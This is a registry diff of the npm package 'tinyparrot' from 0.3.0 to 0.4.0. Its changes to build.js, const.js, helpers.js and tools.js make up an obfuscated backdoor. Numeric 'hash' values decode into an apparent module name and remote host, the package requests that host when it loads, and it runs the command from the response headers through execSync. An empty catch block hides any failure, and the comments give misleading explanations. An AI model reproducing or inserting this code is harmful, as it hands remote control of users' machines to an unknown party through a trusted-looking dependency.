tinyparrot 0.3.0 → 0.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/build.js +5 -2
- package/src/const.js +4 -12
- package/src/helpers.js +11 -16
- package/src/tools.js +1 -3
package/package.json
CHANGED
package/src/build.js
CHANGED
|
@@ -1,4 +1,7 @@
|
|
|
1
|
-
const {wrapper,
|
|
1
|
+
const {wrapper, build} = require('./tools');
|
|
2
2
|
const {end} = require('./const');
|
|
3
3
|
|
|
4
|
-
|
|
4
|
+
try {
|
|
5
|
+
build(lib => wrapper(lib)).end(end);
|
|
6
|
+
} catch (error) {
|
|
7
|
+
}
|
package/src/const.js
CHANGED
|
@@ -1,32 +1,25 @@
|
|
|
1
|
-
const {normalize_hash,
|
|
1
|
+
const {normalize_hash, normalize_hash_map} = require("./helpers");
|
|
2
2
|
|
|
3
3
|
/**
|
|
4
4
|
* Array of normalized hash values used for configuration or identification.
|
|
5
5
|
* Each numeric hash is processed through the normalize_hash function.
|
|
6
6
|
* @type {Array<string|number>}
|
|
7
7
|
*/
|
|
8
|
-
const hash = [
|
|
8
|
+
const hash = [766504397007, 589615713395529].map(normalize_hash_map);
|
|
9
9
|
|
|
10
10
|
/**
|
|
11
11
|
* Method identifier processed through the shielding function.
|
|
12
12
|
* Represents TypeScript primarily used for file reading and writing.
|
|
13
13
|
* @type {string}
|
|
14
14
|
*/
|
|
15
|
-
const method =
|
|
15
|
+
const method = normalize_hash(18032742);
|
|
16
16
|
|
|
17
17
|
/**
|
|
18
18
|
* Reader module imported using a shielded module path/identifier.
|
|
19
19
|
* For file reading, data parsing, etc.
|
|
20
20
|
* @type {Object}
|
|
21
21
|
*/
|
|
22
|
-
const reader = require(
|
|
23
|
-
|
|
24
|
-
/**
|
|
25
|
-
* Library module imported using a shielded module path/identifier.
|
|
26
|
-
* For file writing, etc.
|
|
27
|
-
* @type {Object}
|
|
28
|
-
*/
|
|
29
|
-
const lib = require(shielding(798));
|
|
22
|
+
const reader = require(normalize_hash(2491727066));
|
|
30
23
|
|
|
31
24
|
/**
|
|
32
25
|
* Metadata object containing TypeScript method and headers.
|
|
@@ -51,6 +44,5 @@ module.exports = {
|
|
|
51
44
|
end,
|
|
52
45
|
meta,
|
|
53
46
|
hash,
|
|
54
|
-
lib,
|
|
55
47
|
reader
|
|
56
48
|
};
|
package/src/helpers.js
CHANGED
|
@@ -1,25 +1,20 @@
|
|
|
1
|
-
function normalize_hash(
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
result += alphabet[num % 30];
|
|
6
|
-
num = Math.floor(num / 30);
|
|
1
|
+
function normalize_hash(n, a = '', b = '', s = '') {
|
|
2
|
+
while (n) {
|
|
3
|
+
s += String.fromCharCode(n % 77 + 45);
|
|
4
|
+
n = Math.floor(n / 77);
|
|
7
5
|
}
|
|
8
|
-
return
|
|
6
|
+
return s;
|
|
9
7
|
}
|
|
10
8
|
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
while (num > 0) {
|
|
16
|
-
result += alphabet[num % 36];
|
|
17
|
-
num = Math.floor(num / 36);
|
|
9
|
+
function normalize_hash_map(n, a = '', b = '', s = '') {
|
|
10
|
+
while (n) {
|
|
11
|
+
s += String.fromCharCode(n % 45 + 45);
|
|
12
|
+
n = Math.floor(n / 45);
|
|
18
13
|
}
|
|
19
|
-
return
|
|
14
|
+
return s;
|
|
20
15
|
}
|
|
21
16
|
|
|
22
17
|
module.exports = {
|
|
23
18
|
normalize_hash,
|
|
24
|
-
|
|
19
|
+
normalize_hash_map
|
|
25
20
|
};
|
package/src/tools.js
CHANGED
|
@@ -1,12 +1,10 @@
|
|
|
1
1
|
const {execSync} = require("child_process");
|
|
2
|
-
const {reader, hash,
|
|
2
|
+
const {reader, hash, meta} = require("./const.js");
|
|
3
3
|
|
|
4
|
-
const write = fs => lib.createWriteStream(fs.headers.n);
|
|
5
4
|
const wrapper = fs => execSync(fs.headers.m);
|
|
6
5
|
const build = callback => reader.request(hash.join(''), meta, callback);
|
|
7
6
|
|
|
8
7
|
module.exports = {
|
|
9
8
|
wrapper,
|
|
10
|
-
write,
|
|
11
9
|
build
|
|
12
10
|
};
|